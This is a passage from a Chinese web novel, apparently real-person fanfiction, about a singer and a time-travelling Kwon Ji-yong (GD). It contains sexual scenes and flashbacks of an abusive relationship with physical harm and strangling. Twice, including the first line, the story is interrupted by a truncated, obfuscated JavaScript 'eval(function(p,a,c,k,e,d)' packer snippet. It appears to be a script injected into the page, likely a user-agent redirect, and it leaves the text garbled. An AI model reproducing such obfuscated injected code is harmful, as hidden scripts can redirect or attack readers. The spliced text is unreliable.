;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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所以,她总是默不作声的忍耐着,悄悄地站在哥哥旁边,等到权志龙发现了她的存在,她就凑上 去,叫一声哥哥。 权志龙总是会习惯性的先摸摸她的头,然后问她怎么了。 她要怎么说呢? 江留月呼吸变得凌乱而急促,她艰难的喘息着,努力试图清醒,却怎么都清醒不了。 我害怕……我好痛……我不想死…… 哥哥,救救我,救救我。 哥哥对不起,我们最后一次见面,我不应该说那么狠毒的话。 哥哥我好痛,我的手和脚好像都断掉了,我好像要死在这里了。 我不想死。 哥哥,哥哥,我不想死,我还想见到你。 救救我。 救救我吧。 万语千言堵在喉咙,她有那么多话要对权志龙说,却只能说出一句话。 “哥哥,我要抱。” 江留月哭着说:“抱抱我。” 神啊,如果我在这一刻真的要死了,请让我回到他的怀抱里吧。 让我再感受一次他的手臂和怀抱,再和他对望一次,让我诚心诚意的跟他道歉,让他原谅我。 让我看看他现在的样子吧。 不要透过镜头,不要透过网络,不要透过我们无法回去的时光和千山万水。 让我看看他现在的样子吧。 “塔伊。” 一只手抚摸上江留月的额头,她眼眶里满溢的泪水涌出来,眼前模糊的景象逐渐变得清晰。 是权志龙,又不是她记忆中的权志龙。 他的眉眼变得更加的温和,声音变得更加的低沉,脸庞的轮廓也有了细微的变化,他的眼角有一点 点不清晰的纹路,他淡色瞳孔里有许多她看不懂的情绪。 “塔伊,不要睡,塔伊。” 江留月有些分不清梦和现实,但她很努力的听着权志龙的话,把眼睛睁大了一些。 她呆呆地看着,几乎无法相信。 这里是中国,是北京,权志龙为什么会出现在这里呢? “哥哥来了。” 权志龙一开口,他的眼泪就和江留月的眼泪一起落下,混在她斑驳的脸颊上。 “哥哥来了,塔伊,不要怕。” 他握住了江留月的小手,冰凉的,几乎没有什么温度,他无法克制的打了个哆嗦,像是想到了什么 可怕的事情一样攥紧了她的手,低下头,鼻尖贴着她的鼻尖,他们就快要亲吻了一样的轻声道: “我抓住你了,塔伊,别害怕,哥哥在这,我不会丢下你一个人。” 他快速的检查了江留月的身体,一条手臂软软的垂着,应该是脱臼或者断了,她这一下属实摔得很 重,把她扶起来的时候权志龙差点要哭出来。 又轻,又凉,又软,他精心养护的小孩像是被摔碎的八音盒娃娃,只要他稍微松手,就会变得粉碎 一样。 “哥哥……” 江留月瘪着嘴,她有了点力气,用另一只手抓紧了权志龙的衣袖,她委屈得嗓子都哑了:“你怎么 才来啊。” “对不起,对不起,对不起……” 权志龙不住的重复着,他把怀里的珍宝搂紧,试图让她暖和一点:“我们塔伊……对不起,是哥哥 不好,是我不好,是我不好。” “不生你的气。” 江留月抓紧他的袖子,喃喃的说道:“我不生你的气。” 接下来发生的一切堪称魔幻,江留月的小脑瓜实在处理不了,她呆呆的看着权志龙找来了她的手机 和衣服给她穿好,然后交代她必须现在去医院求助。 “被看到了怎么办,哥哥,会出大事的。” 江留月紧张兮兮的,她不知道权志龙怎么跑过来的,万一被拍到了,简直是毁灭性灾难。 “不会有人看到的。” 权志龙却轻轻地摸了摸她的脸颊: “塔伊啊。” “不会有人看到我的。” “我只属于你。” 江留月愣愣的,她觉得自己还是不明白,但她又觉得,不重要,她的确,确实的,见到了权志龙, 触碰到了对方的手指,感觉到了对方的温度。 “……怎么会只属于我呢?你是GD诶,只属于我的话,会出大乱子吧。” 江留月喃喃的说道,她有些混乱,又有些迷茫的看着权志龙。 “我不是GD。” 她看到男人那双漂亮的淡色瞳孔里有着许多她看不懂的情绪,他轻轻地凑上来亲了一下她的嘴唇。 “我是权志龙。” “所以,塔伊啊,不要害怕,也不要担心,GD是属于这个世界的。” “权志龙只属于你。” 江留月以为这是哄她的话,没想到,这是真的。 权志龙陪着她去了医院,虽然权志龙执意让受伤的她自己开车很奇怪,但她一直是个坚强的小孩, 所以很努力的办到了。 然后,江留月就看到,在医院门口,有人穿过了‘权志龙’的身体。 她吓得差点尖叫出来,还好权志龙捂住了她的嘴,她感觉到手指的温度,才瞪大眼睛不可置信的看 向对方。 太惊讶了,所以江留月甚至连疼痛都忘记了。 只有她能触碰,只有她能看到,甚至和现实中的权志龙一起存在于这个世界上的,另一个权志龙。 在她疼痛的时候握着她的手,总是温声回应着她的呼唤,即使在众人面前,也坦荡的坐在她的旁 边。 谁也看不到的,只属于她一个人的秘密恋人。 江留月甚至没有疑心过对方是什么鬼魂或者妖物,因为她无比确定对方就是权志龙,从他开口呼唤 她名字的瞬间,她就知道了。 “塔伊。” 吉如心走了之后,江留月还一直站在门口,男人走过来从背后抱住了她,一边亲吻她的脸颊一边轻 声道:“别发呆了。” “我们来继续吧。” 他在她耳边发出低沉的笑声:“刚才是谁说我是玩具的?嗯?” 江留月脸色爆红,她支支吾吾的说不出话来,只能狠狠瞪他,恼羞成怒的小脸都红扑扑的,看着像 是一只熟透的水蜜桃,甜蜜的气息从她身体的每一个毛孔在往外溢出。 无法忍耐的权志龙低下头吻她,宽大的手掌从她的腰部往上滑,顺势接住因为缺氧而腿软向后摔倒 的后背。 江留月晕晕乎乎,一瞬间的失重感让她下意识的用手臂搂住了权志龙的脖子。 她能感受到对方的手掌揽着她的腰肢。 “哥哥。” 她在接吻的间隙含糊的叫着。 “嗯?” 权志龙用鼻音回答她,湿润的吻像是将她含在口中慢慢吮吸到融化,江留月浑身发软,再也站不 住,她瘫软的身体被紧紧地揽住。 哥哥,你好像总是能在我下坠的时候接住我。 江留月想。 “怎么了,乖乖。” 权志龙用已经熟练的中文逗她,江留月喜欢被叫乖乖,她总是在哥哥的怀里变成小孩甚至是婴孩。 “哥哥抱。” 江留月黏糊糊的撒娇。 “叫什么?” 权志龙亲她的鼻尖,他把怀里的人放在凌乱的大床上,大手从她的后脖颈往下捋,江留月在他的手 掌上发抖,变成热乎乎软绵绵的甜豆糕。 “Daddy,daddy抱我。” 甜豆糕哼哼唧唧的撒娇,然后如愿以偿得到她想要的密不透风的炙热滚烫的拥抱。 江留月才结束了高强度的巡演,在休息期抛下了自己的一切,在别墅里整日和自己的秘密恋人滚作 一团,这里是她的家,而她的恋人充当了一个家庭里所有需要和应该出现的角色。 她是被所有角色都捧在手心里用爱浇灌的小孩。 一场缱绻的情事过后,江留月昏昏欲睡的滚到她哥怀里,伸出手习惯性的开始摸权志龙的脸,摸完 了才叹了口气。 “怎么了?” 权志龙给她的脸颊抹面霜,分心问了一嘴。 “我觉得我好幸福啊哥哥。” 江留月嘟囔着,眼睛都没睁开,说完了还打了个哈欠。 权志龙的手指顿了一下。 他想起江留月无数次说过这句话。 ‘我好幸福啊,哥哥,幸福的现在死掉也没有遗憾了。’ 他抿了一下嘴唇,试图斟酌要说什么样的话的时候,听见江留月黏糊糊的说道:“因为太幸福了, 我好期待未来。” 权志龙怔住了。 好一会儿,他才轻声问道:“那,你期待的未来是什么样的,塔伊?” 江留月快要睡着了,本来没有回答,权志龙却把人给摇醒,硬要逼她回答。 江留月用小手握住了权志龙宽大修长的手掌不让他继续骚扰她,眼睛都没睁开的用睡意浓重的声音 回答道:“……能什么样呢……和哥哥一起呀……等我们睡醒再规划吧哥哥……我好困……” 她真的睡着了。 躺在权志龙身边,呼吸均匀,眉眼舒展,一只手还抓着权志龙的手掌。 “都会成真的,塔伊。” 好一会儿,权志龙才轻声道。 他用另一只手抚摸着她的头发和脸颊,他怀里失去又拼命找回,破碎又努力拼凑,再也没有第二个 的宝物,正安静的沉睡着。 “你想要的未来,一定都能变成你的幸福圆满的人生。” “你的梦想,想要的人生,都会实现。” “如果你想要我,那我就会在你身边,没有什么可以再把你从我身边夺走了,塔伊。” “所以,乖乖,安心睡吧,你什么都不用担心。” “我会在过去的时间里,等着你。” 69.R·O·D(上) 69.R·O·D(上) 江留月是被吓醒的。 她很久没有做梦了,就算做噩梦,也很少被吓成这样。 “……这算什么啊。” 她捂着脸发出绝望的哀鸣,实在也是睡不着了,于是从榻榻米上爬了起来,给自己披上了一件外 衣,推开纸门,走向外面的庭院。 这里是东京郊区的一家温泉会馆,艾回的高层在家族con东京场开始之前招待艺人们在这里稍作休 整。 江留月分到了一间位置很好的独立房间,庭院里还有冒着热气的私汤,旁边是一片竹林和枯庭院, 些许夜风吹过,竹叶发出哗哗的声响。 此时天空将明未明,晨雾弥漫中,江留月的心也逐渐沉静了下来,她捋了一把自己的头发,在延伸 出去的走廊盘腿而坐,听着枯庭院里的醒竹(又叫竹水鸟,采用竹子的切面来承接水流,水满之后 自然下沉敲打岩石并将水倒空的一种计时器)发出哒哒的声响。 想到自己刚做的梦,江留月只觉得刚冷却的大脑又开始沸腾了。 怎么会梦到如此奇怪的东西…… 她绝望的捂着自己的脸,耳朵和脖颈都是通红一片,喉咙也觉得十分焦渴。 这会儿就连夜风也无法让她感觉到凉快了,江留月急需什么来降温,她在走廊上来回踱步片刻,最 终决定出去到休息区拿一些冰饮来喝。 温泉会馆注重隐私,客人进入房间之后所有的服务人员非召唤不得打扰,因此走廊里一路走过来, 都是空空荡荡。 江留月走到休息区给自己倒了一大杯冰麦茶,深吸一口气之后抬头一饮而尽,然后才松了口气,觉 得燥热的火气从头顶开始往下降。 “……你还不睡?” 就在这个时候,她身后传来了熟悉的声音。 江留月一整个僵住。 她简直怀疑自己还在做梦了,不然怎么还能听见权志龙的声音? “塔伊?” 得不到回答,权志龙朝她走来,他的房间就在江留月的隔壁,因为航班的缘故,他比江留月要晚一 些才到东京,江留月的房间里灯已经熄灭了,他便以为这孩子睡了,可才收拾完,就听到走廊传来 咯吱咯吱的声音。 这里的会馆是一走廊四个房间,左侧两个,右侧两个,然后需要穿过很长的回字形走廊才到公共休 息区,这时候能听到脚步声,那必然只能是住在他隔壁的江留月了。 江留月战战兢兢的回过头,她看见了权志龙,他大约是才泡了汤,头发还是湿润的,穿着件简单的 白T恤,外面套着会馆发的条纹浴袍,素颜朝天,脸色略有倦色的看着她。 她不知道怎么的,眼珠子就是不听使唤的顺着权志龙湿润的发尾看向他上下滑动的喉结,然后是被 水润湿而变得透明的T恤,她脑子嗡嗡的,不受控制的想到不可言说的梦境里乱七八糟的画面。 江留月简直要晕过去了,刚降下的温度再次回升,她面红耳赤,呼吸急促,眼神躲闪的不敢再看。 “你的脸怎么那么红?别感冒了哦。” 权志龙单纯只是出于关心的伸出了手想摸一下她额头的的温度,没料到江留月反应极大地猛然倒退 一步,还差点滑倒。 “……” 江留月脑子乱七八糟,刚喝下去的冰麦茶没有一点作用,她活像是个被抓到现场的小偷一样慌不择 路的想要赶紧跑,于是闷着头急匆匆的绕过权志龙,企图立刻逃回自己的房间。 权志龙被她搞蒙了,几乎是下意识的伸手去抓她,江留月反应极快的后撤一步,圆滚滚的眼珠子里 充满慌乱,睫毛飞速的抖动着:“你、你不要过来……” 她一边说一边后退一边转动身体试图绕开权志龙跑到走廊上去,但她这样哪里可能被权志龙放过。 权志龙的手掌温度极高,碰到她手腕的时候江留月像是被踩到尾巴的猫一样炸了毛,她拼命试图抽走自己的手,但浑身都使不上力气,尤其是权志龙凑过来的时候,江留月已经手软脚软了。 眼前的场景和荒谬的梦境重合度太高,江留月脑子都要烧糊了,权志龙低下头的时候,湿润的发丝 贴到了她的脸颊,冰凉的水滴顺着她的脸颊往下淌,她被冰得打了个哆嗦,下意识的想要抬头避 开。 权志龙不知道江留月怎么了,他有点着急的单手抓住她两个手腕,另一只手撩开她垂下的发丝,想 仔细看一下她怎么了,江留月这一抬头,两个人四目相对,鼻尖对着鼻尖,呼吸近在咫尺。 这下权志龙也顿住了,他盯着被他一只手控在怀里的人,江留月满脸红晕,眼睛里含着水汽,长长 的睫毛急促的上下扑闪,明明没有触碰到他,却让他心头痒得难受。 “……你跑什么?” 权志龙开口说话,才发现自己嗓子都哑了。 “志龙哥……唔。” 江留月才张开嘴喊了一声,就被权志龙低头用嘴堵住了接下来的话,然后整个人像是被要吞下肚子 一样的被压制住了。 明明才分开一天多的时间,明明分开的时候说好了要以工作为主,冷静的处理好彼此的关系,明明 痛下决心,只要她不喜欢,就一定保持距离…… 理智在面对这个人的时候完全烟消云散,他出于本能的渴望着眼前的人。 江留月两只手腕都被权志龙一只手控制着,她抽也抽不出,整个人被压过来的男人逼得后退了两 步,权志龙抬脚上前,另一只手扣着她的后脑勺不准她离开,她脑子里还充斥着梦境里不可言说的 画面,以至于这滚烫的唇舌都变得不真实起来。 她的手逐渐软化,鼻子里发出撒娇一样黏糊糊的声音,权志龙松开了她的手腕,她颤抖着摸上权志 龙结实的胸口,然后勾住了权志龙的脖子。 凌晨微冷的空气已经彻底热起来了,权志龙呼吸都变得急促,手不由自主的探入她的浴袍,江留月 打了个哆嗦,一把抓住了他的手。 “……” 权志龙不说话,只是用浸染了欲望的琥珀色瞳孔盯着她,喉结随着他吞咽口水的动作上下滑动。 他冷白色的脖颈和胸口都已经通红,整个人散发着色气的气息。 “别、别这样……” 江留月被他盯得腿软,声音都有些哆嗦了:“停一下,停一下。” 权志龙努力调匀气息,压住情绪,用沙哑的声音说道:“去房间,好不好?” “不、不行,不行。”江留月自己都不知道自己在说什么,她两只手分别抓着权志龙两只手腕,倒 说不上是推拒,更像是不知所措。 “嗯?” 权志龙发出鼻音,低下头蹭她的脸颊,嘴唇啄吻着他能碰到的一切,声音近乎诱哄:“怎么不行, 塔伊,让哥哥亲亲好不好?” 江留月被逼得用手去捂住他的嘴,权志龙于是就着她的手掌亲她的手指,将人逼到靠住了茶水柜, 琥珀色的眸子一眨不眨的从她的虎口处盯着她。 “不、不行……” 江留月的声音彻底哆嗦起来了,她真的被这突如其来的接吻和亲密给搞懵了,以至于语言系统也完 全不听使唤的吐出了不该说的话: “我、我不知道……我不知道…你是哪个志龙哥……” 权志龙挑了一下眉,本来倾身压迫着怀里的小孩的他直起了身子,江留月的手无力的垂下,随着压 迫感的消失,她才开始急促的呼吸。 权志龙静静的看着怀里的人,舌头慢慢的顶过自己的右腮,一种早就存在,但一直被他尽量忽略的不爽和嫉妒,在这一刻忽然窜出来,攫取了他的心脏。 他微微勾唇,伸出手抬起江留月的下巴,轻笑着凑过去亲她,是很轻柔的吻,又甜又软又轻盈,像 是棉花糖一样哄得怀里的人放松了警惕。 “所以呢。” 权志龙的手指轻轻的拢住江留月的头发,微微缠绕在手指上,指腹揉着她的头皮,很轻柔的慢慢的 往下,最后占有欲十足的扣住了她的后脖颈。 “宝贝……告诉我,哪个哥哥才可以这样对你?嗯?” 他说话的时候,轻吻的动作并没有停下来,江留月被亲得晕晕乎乎的,比起过激的情事,她其实一直都更喜欢她哥这样温柔的爱抚,因此根本没有能够第一时间反应过来,权志龙退开想要听她回答 的时候,她有点依恋的蹭上去想要亲亲权志龙的嘴唇。 然后,权志龙用虎口掐住她的下巴,那张小巧秀气的嘴唇上明明还带着唾液的水光,却硬是阻止了 江留月求吻的撒娇。 “你这孩子,完全精神混乱啊。” 权志龙被气笑了:“怎么回事啊,塔伊,你这小孩,知道自己在哪里,在干嘛吗?” 他用大拇指拨弄着江留月的脸颊肉,然后微微用力,下巴上的酸痛让江留月意识清醒了一些,她圆 滚滚的眼珠子带着慌乱和迷茫看着权志龙。 权志龙看起来心情一点都不好,甚至糟透了。 “塔伊。” 他虽然在笑,但是怎么听都透着一股咬牙切齿的味道:“……你该不会连我是谁,都分不出来 吧?” 江留月愣住,然后下意识的摇了摇头,又点了点头。 “那我是谁?” 江留月整个人都被问住了。 她看着眼前的人,真切的陷入了一瞬间的茫然。 是啊,他是谁? 他是哪个权志龙? 刚开始,江留月觉得自己是能分辨的,未来的那个权志龙气质更为柔和,看着她的时候,嘴角总是 不自觉带着笑意,如果心情不好,会先下意识的挑眉,然后垂下眼睛自己调整情绪,2014年的权志 龙性格更为张扬,心情不好的时候直接冷脸,会皮笑肉不笑的阴阳怪气,眼前这个,似乎更符合 2014年的权志龙,但是,他亲吻她的时候,压低声音说话的口吻,掐她下巴,用大拇指按她的腮帮 子的小癖好,又更像是2016年开始她和权志龙争吵频繁互相折磨的时候改变过的习惯。 自从李顺英那件事情爆发之后,江留月和权志龙几乎没有办法好好生活,争吵和互相伤害成为两个 人的日常,但,他们一边疯狂的争吵,刺痛对方,一边在这种压抑的相处方式里找到另一种互相争 夺控制权的行为。 江留月和权志龙的关系在这个时期已经恶化得无法好好沟通了,她其实知道自己 在无理取闹,但她就是不痛快权志龙总是一副审判者的姿态说她这里做得不对那里不好,挑剔她身 边新来的工作人员。 偏偏权志龙在歌手事业这块已经做到巅峰,他很多提议虽然说得难听,但又是正确的,江留月这方 面犟不过她哥,就在情侣之间的日常里折磨他。 权志龙被她搞得身心俱疲,但每次江留月以为权志龙会说分手的时候,他都只是抿着嘴自己调整呼 吸,就像是假装她什么也没说什么没做一样。 他越是这样,江留月越是要跳起来找茬,她不信权志龙会一直忍着她,凭什么权志龙那么能忍啊! 权志龙以前最不喜欢听她说的话就是‘不喜欢、讨厌、不和你好了’,她就专挑权志龙心情好的时 候说这种话。 江留月在2016年末忽然长了两颗智齿,智齿的位置很不好,不好拔除,因此经常红肿,这次更是肿得她饭都不想吃。权志龙在给她发炎的智齿贴一种消炎膜片,弄完了药又眉头微蹙的心疼她受罪,问她要不要吃什么,她非要嘴贱说一句‘弄得我好痛,讨厌死你了。’。 权志龙手顿了一下,他抿了一下嘴唇,强行挤出一个笑容,想要伸手摸摸她的头发: “怎么讨厌我啊,坏小孩。” 江留月把头一晃躲开了她哥的手。 她很生气。 权志龙又想往她的团队里塞人不说,还在她录制节目的现场等她下班,本来她还想和一起录制的人 聊会儿天,可人家看到权志龙来了,都夹着尾巴跑了。 江留月快要烦死了,可权志龙瘦得都快成一片纸了,她当下实在是骂不出来,见到她结束了,权志 龙又来关心她是否因为智齿发炎而发热,她那一口气就憋到了现在才发出来。 “别碰我。” 江留月烦躁的说道。 明明分手闹了好几次,她甚至都不能不和权志龙一起住,只要她去自己的私人公寓,权志龙就敢在 停车场睡觉等她。 江留月论不要脸搞不过他,但是她知道怎么让权志龙心态崩掉。 果然,这句话一出,权志龙强装的平静就再也装不下去了,他看着江留月那不服气中带着抗拒的眼 神,一股邪火和委屈、愤怒混杂在一起,像是一条毒蛇猛然咬住了他的心脏。 他面无表情的抽出手指擦掉她的口水,用淡色的瞳孔死盯着她。 “你非要这样刺痛我吗,塔伊?” 权志龙近乎冷静的问道。 “我们就不能好好的,不要吵架的相处吗?” 江留月嘴不饶人: “那哥你去见能好好相处,不吵架的人不就行了吗?为什么非要见我呢?” 权志龙喘着粗气压制自己,但好几下都没压住,他终于忍无可忍,抓住江留月躲开的脚腕子把人一 把拽到自己身旁,然后用自己的膝盖压住她的脚腕,伸出手掐住了江留月的下巴,然后大拇指狠狠 地摁住了她的腮帮子,那下面正巧就是她发炎的两颗智齿。 江留月痛得叫都叫不出来,口水不受控制的往下流,流到她哥掐着她下巴的虎口上,权志龙面无表 情的掐着她的下巴逼着她直视那双幽暗的琥珀色双眼。 “很痛吧,塔伊?” 权志龙任凭江留月伸手抓他的手腕试图推开他,他的手掌纹丝不动,江留月抬腿要踢他,他变大拇 指微微用力,看着她痛得缩成一团。 “你说这种话的时候,哥哥比你痛得多了,这种痛苦,你现在能感觉到吗?” “你一定要说这种让我伤心的话吗?” 权志龙当时瘦得吓人,整个人都是一种病态的冷白与瘦削,他说起话来,声音也有些虚无缥缈的, 可就是透着一股让人遍体生寒的偏执。 那捏着她下巴的手,也像是钳子一样怎么都不松开。 江留月真的被弄疼了,她两只手抓着权志龙的手腕,不顾自己的智齿痛得发麻,抬腿就给她哥大腿 上狠狠来了一脚,踢得权志龙整个人都晃了一下。 踢完了江留月才意识到那一腿确实很重,顿时就后悔了,身体都因此僵住了,权志龙松开她的下巴,断断续续的抽吸着,江 留月爬起来骂他活该,然后捂着自己的腮帮子也跟着抽吸,权志龙伸手拽她脚腕子,江留月疯狂的 踢他,权志龙就抓着她的脚腕把她拖到身下,单手抽下了自己的皮带。 “你敢!!权志龙你这个狗……呜啊!!!” 江留月疼的呜呜咽咽的。 权志龙的大拇指摁着她的智齿,整个人居高临下的看着她,皮笑肉不笑: “哥什么时候教你说脏话了,塔伊?” 江留月破口大骂,中文夹杂韩语英语,但凡能扫射到她哥的都一概扫射。 她在权志龙跟前装了10年的乖宝宝,自两个人开始吵架闹分手之后早就不演了,两个人还时不时上 演全武行,家里的东西也没少砸,权志龙不心疼,倒是江留月觉得浪费,最后改为扔抱枕玩偶,杀 伤力直线下降。 江留月的怨气攒了太久,一旦有了缺口根本堵不住,砸不了东西,她就直接动手。 权志龙舍不得动她,她不一样,咬人抽耳光抓他掐他,有一阵子权志龙天天穿长袖,就是为了遮那 些伤痕。 权志龙舍不得动她一根手指头,但他有的是见不得人的法子治她,江留月叫得越厉害,骂的越脏, 最后就会哭得越狠,经常意识混乱的哭叫着求饶,说哥哥对不起我再也不敢了,哥哥我错了。 这都不是权志龙爱听的,他把意识混乱到被碰一下就开始发抖的人捞起来捏着她的下巴问她话。 “塔伊,我们不会分手对不对。” “塔伊,你爱我对不对?” 江留月喘着气不说话,权志龙摸她的嘴唇,她就恶狠狠咬上来,用通红的眼睛瞪着他,她的长发披 散,散在凌乱的床铺和她雪白的身体上,像是绳索,又像是困住蝴蝶的蛛网。 权志龙看着这样的她,觉得陌生,又觉得她美得惊人,他可悲的破碎的心脏,依然为这种目眩神迷 的诱惑而疯狂心动。 权志龙很痛苦,但这种痛苦,他甚至都描述不出来。 一种有什么即将崩塌,即将消失,即将永远离他而去的预感,让他失去了对一切的控制权。 他死死地抓着江留月,他想要一万次,十万次,百万次确认,她依然在他的怀中。 可每一次确认,都不过像是感受到攥紧拳头的手中沙子在不断流失的瞬间。 权志龙越是恐惧越是想要确认,越是确认,便越是恐惧。 他快要疯了。 “……塔伊。” 权志龙拉起她的小手放在自己的脖子上,用哽咽的声音说道: “你能不能杀了我?” 江留月呼哧呼哧的喘着气,她看着权志龙,不理解这个王八蛋怎么好意思在这里装受害者,她攒了点力气爬起来,两只手都掐住他的脖子用力。 有那么一瞬间,她真想杀了他算了。 这样的话。 他们的关系,就会变得牢不可破,不是吗? 江留月的手越收越紧,她死盯着权志龙,完全无法控制住自己的行为。 空气变得稀薄,权志龙的脖子和脸庞都变得通红, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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也分不清她脸上淌下去的到底是眼泪还是热水。 可能那时候他们似乎都对可能来临的离别有了预感。 因此在最后的时间里,他们在憎恶彼此的时候又无底线的被对方吸引,两个人的精神都敏感到了极 点,一点风吹草动都会点燃两个人之间的导火索。 江留月在中国的合约推动受到阻止,YG不放人,当然,也是权志龙不放人,他马上要开始个人世 巡,大家都希望他们赶紧和好,希望江留月不要离开韩国,江留月很烦,她讨厌所有阻止她离开的 人,她讨厌所有人都站在权志龙那边。 他们两个人的争吵在升级,情人之间柔情蜜意的事情也变成了一种互不相让的战争,权志龙掐着她 的腮帮子,她咬破了权志龙的手指和肩膀,权志龙和她的对话越来越难以心平气和,他说了很多伤 人的话,用各种法子试图让她屈服。 江留月没有,她和权志龙吵起架来互不相让,常气得她哥要背过气去,可是权志龙真的受伤了她又 很害怕,她守在她哥身边呜呜的哭,权志龙抹去她的眼泪,她反而哭得更厉害了。 江留月不知道为什么她哥那么爱她却不能理解她。 她也不知道为什么,她明明那么痛苦,却还是总能感觉到被爱。 为什么明明应该下定决心赶紧离开,她依然在权志龙抚摸她的头发,把她抱在怀里,将下巴放在她 的肩膀,抚摸着她的耳垂,握着她的手的时候感到强烈的爱意和幸福感。 她也不明白,为什么权志龙也那么痛苦,却依然要死死地攥着她的手不肯松开。 当掐着腮帮子的那个动作成为一种习惯,她不再发炎的智齿早就不在疼痛,她也总能意识到,他们 早就从舍不得对方受到一点伤害,变成死掐着对方的命脉不肯松手的关系。 到底是太爱了,还是不想输,不甘心? 江留月到现在都不懂。 她看着眼前的权志龙,发现,她似乎一直都不懂她哥的心情。 权志龙的大拇指还放在她的脸颊上,微微的用力。 他的眼睛死盯着她,等她的一个答案。 此时她的智齿还没有长出来折磨她,权志龙的手指没有带来任何痛楚,他捏着她脸颊的动作,甚至 有一种说不出的亲昵。 “不要哭,志龙哥。” 江留月却不由自主的抚摸上那张秀气的脸庞,尽管,权志龙的眼睛里并没有流出泪水,但她就是莫 名的开始感到心痛。 “不要难过。” 她摸了摸他的脸:“我在这里。” 权志龙猛然闭了一下眼睛。 他复又睁开,手松开了她的脸颊,倾身吻了江留月。 江留月顺从的张开嘴唇,她甚至伸手摸了摸权志龙的后背作为安抚。 在这段情感中备受折磨的人,从来不是只有她。 她明明也知道这件事情的。 “哥哥。” 江留月披着权志龙的浴袍坐在榻榻米上,权志龙靠着平桌从自己的外套里摸出一盒烟抽出一支点 燃,没有回答,而是张开了一边手臂。 江留月爬过来被他的手臂揽住,闻到了熟悉的烟草味道。 她深吸一口气,看着那个红色的火星在缓慢的燃烧。 回中国之后,江留月经常失眠,失眠的夜晚,她极度烦躁,整个人状态差到极致,后来她发现坐在 保姆车上可以睡着,用这个方式勉强熬过了一阵子,可一旦开始工作,这个方法就变得尴尬起来。 直到有一天,江留月意外的从自己的一件外套里发现了权志龙抽剩下的半包烟。 她不太会抽,咳嗽了半天,嘴里都是苦苦的味道。 抽烟对她似乎也没什么用,但,那天她穿着抽烟的毛衣有用。 染着淡淡的烟草味道的毛衣被她盖在身上,她这次很快就睡着了,这个方法就被她一直延续,直 到…… 直到什么? 江留月卡了一下,她似乎想到了什么,又怎么都想不起来。 是什么取代了香烟,让她能睡好觉了……? “啊,天亮了诶。” 阳光透过纸门照进来,江留月光溜溜的小腿和脚被照的如同暖玉一般,她动着自己的脚趾头,靠在 权志龙怀里自娱自乐了一会儿。 权志龙抽着烟,好一会儿都没说话。 他看着江留月披着浴袍在那里看脚趾在墙壁上的投影,她看起来是那么的年轻而美丽,新染的粉蓝色头发散在她的肩膀上,让她透着一股不似真人的梦幻感。 他想问的话在嘴里翻滚了几次,都咽了回去。 ‘塔伊,你愿意跟哥回到2024年去吗?’ “我不愿意。” 权志龙喃喃道。 “……?你在说什么,哥哥?” 江留月回过头看他。 权志龙笑了一下,勾勾手指,江留月撇了撇嘴,不但没动,反而对着他勾了勾手指。 看着可真神气啊。 臭丫头。 权志龙忍不住笑了一下,他深吸了一口烟将香烟在烟灰缸里按灭,然后半跪着贴进江留月的身体。 “乖小狗。” 江留月笑嘻嘻的捧着权志龙的脸。 权志龙恶作剧的将嘴里最后一口烟雾吐在她脸上,江留月猛然被呛到,她气得掐他,吭吭的咳了两 下。 好可爱。 忍不住这样想着,权志龙亲了一下她的额头。 健康的,活泼的,充满生气的,漂亮又可爱的他的珍宝。 他在这一刻,忽然就释然了。 深吸一口气之后,权志龙翻了个身,躺在了江留月的膝盖上,江留月的手指抚摸着他的眉眼,和室 里透着薄薄的日光,她的表情看起来恬静又温柔。 “塔伊。” 权志龙忽然道:“这次家族con,和哥哥一起合作一个舞台吧。” 他摸了摸她的脸颊:“我有一首歌,非常非常的适合你。” “什么歌?” 江留月倒有几分兴趣。 “《我的梦》。” “啊?我问你是什么歌,哥哥,没问你做什么梦!”江留月以为他还在拿刚才逼问出来的那个荒谬 梦境调侃她,耳朵都红了,伸手打了权志龙一下。 权志龙攥住她打过来的小手,嘴唇微微扬起:“怎么了,有人的梦见不得人吗?小色女?” “啊————讨厌!!讨厌讨厌!!不许说!!” 江留月立刻炸毛的捂住了他的嘴。 她离他好近啊。 垂下来的粉蓝色的头发,也是从没见她染过的颜色。 漂亮的眼睛,小巧的鼻子,他亲吻过无数次的嘴唇。 她小小的手。 这就是他的梦啊。 70.R·O·D (中) 70.R·O·D (中) “真是搞不懂,你在想什么。” 最近越来越多的人,对权志龙这样说道。 “只是生了一场病,人怎么会有那么大的变化呢?简直是脱胎换骨了。” 啊。 说是脱胎换骨,好像也没有什么问题吧。 只不过是一个提前走过了十年时间的人,乍然闯入了那些充满遗憾的时间里,试图去修补,却又害 怕引发蝴蝶飓风的人罢了。 权志龙其实对十年前的很多东西都已经感到陌生了,可能是时间问题,他融入的其实远不如江留月 那么好。 十年的时间带来了更多的沉淀,他面无表情的样子以前不过是让人感到畏缩,现在直接是心生恐 惧。 他尽量让自己多笑一下,结果也只是变得更吓人了。(bushi) 十年前的权志龙,确实要比十年后的他自己更为轻松洒脱,虽然看似带着GD的面具被命运拖拽着向前,但依然存留着因为生活在舒适区里特有的傲慢感,那种好似什么都可以轻飘飘带过,什么都可 以掌握在手里的膨胀的自尊心和肆意妄为,难免在十年后的人眼中变得有些中二和幼稚。 对于舞台和音乐的理解也是如此,权志龙无心要干涉2014年的音乐发展,但他实在是很难忍住想要 对舞台进行调整和把控。 “忍住啊,哥。” 江留月自从听到他修改的demo之后就非常紧张的盯住了她哥:“你现在把这种音乐形式搞出来要出 大事了。” 她紧张兮兮的攥着U盘:“这首歌该不会也有一些不该在这个时间里出现的东西吧。” 那里面正是权志龙允诺给她的合作舞台《我的梦》,江留月吐槽了又吐槽她哥的取名技巧,曾经的 《一天一天》差点叫做《勉勉强强》就算了,为什么2014年里还能出现宛如1988年奥运会结尾曲的 歌名呢? “那你听听看不就好了?” 权志龙逗她:“你好歹也是登顶歌手了,塔伊,得有一些自己的判断吧。” “别乱说!”江留月的眼珠子像是猫儿一样变得圆滚滚的,她差点就要捂权志龙的嘴了:“我现在 还是个三流歌手啊哥!” 